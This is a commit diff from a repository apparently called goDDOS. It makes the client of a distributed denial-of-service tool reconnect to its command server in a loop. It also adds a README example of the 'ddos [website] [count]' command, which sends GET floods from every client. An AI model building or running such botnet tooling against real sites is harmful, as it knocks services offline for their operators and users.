arnaucube
arnaucube/goDDOSPublic Self-hosted repository
client sleeps if server is not online
arnaucode idoctnef@openmailbox.org
Thu, 16 Mar 2017 18:55:49 +0100
commit

650c21a8823438aee6dab58c38dbb55148e0f728

parent

6cfa3f24a1e60ab7ba49e4f8c7f40d65bbde713e

4 files changed, 34 insertions(+), 4 deletions(-)

jump to
M .gitignore → .gitignore

@@ -22,3 +22,4 @@

*.exe *.test *.prof +*.xcf
M README.md → README.md

@@ -4,3 +4,10 @@

https://en.wikipedia.org/wiki/Denial-of-service_attack ![Alt text](https://raw.githubusercontent.com/arnaucode/goDDOS/master/concept.png "concept") + +example command line on the server: +``` +ddos http://website.com 10 + +ddos [website] [num of gets for each client] +```
M client/main.go → client/main.go

@@ -15,12 +15,33 @@ const (

CONN_HOST = "localhost" CONN_PORT = "3333" CONN_TYPE = "tcp" + sleeptime = 3000 ) -func main() { - +func stablishConn() (conn net.Conn, err error) { // connect to this socket - conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT) + conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT) + return conn, err +} +func tryToConnect() (conn net.Conn, err error) { + fmt.Println("trying to connect to the server") + connected := false + conn, err = stablishConn() + for connected == false { + conn, err = stablishConn() + if err != nil { + fmt.Println(err) + fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again") + time.Sleep(sleeptime * time.Millisecond) + //os.Exit(1) + } else { + connected = true + } + } + return conn, err +} +func main() { + conn, err := tryToConnect() hostname, err := os.Hostname() if err != nil { fmt.Println(err)

@@ -36,7 +57,8 @@ command, err := bufio.NewReader(conn).ReadString('\n')

if err != nil { fmt.Println(err) fmt.Println("server disconnected") - os.Exit(1) + //os.Exit(1) + conn, err = tryToConnect() } fmt.Println("Command from server: " + command) //fmt.Println(len(strings.Split(command, " ")))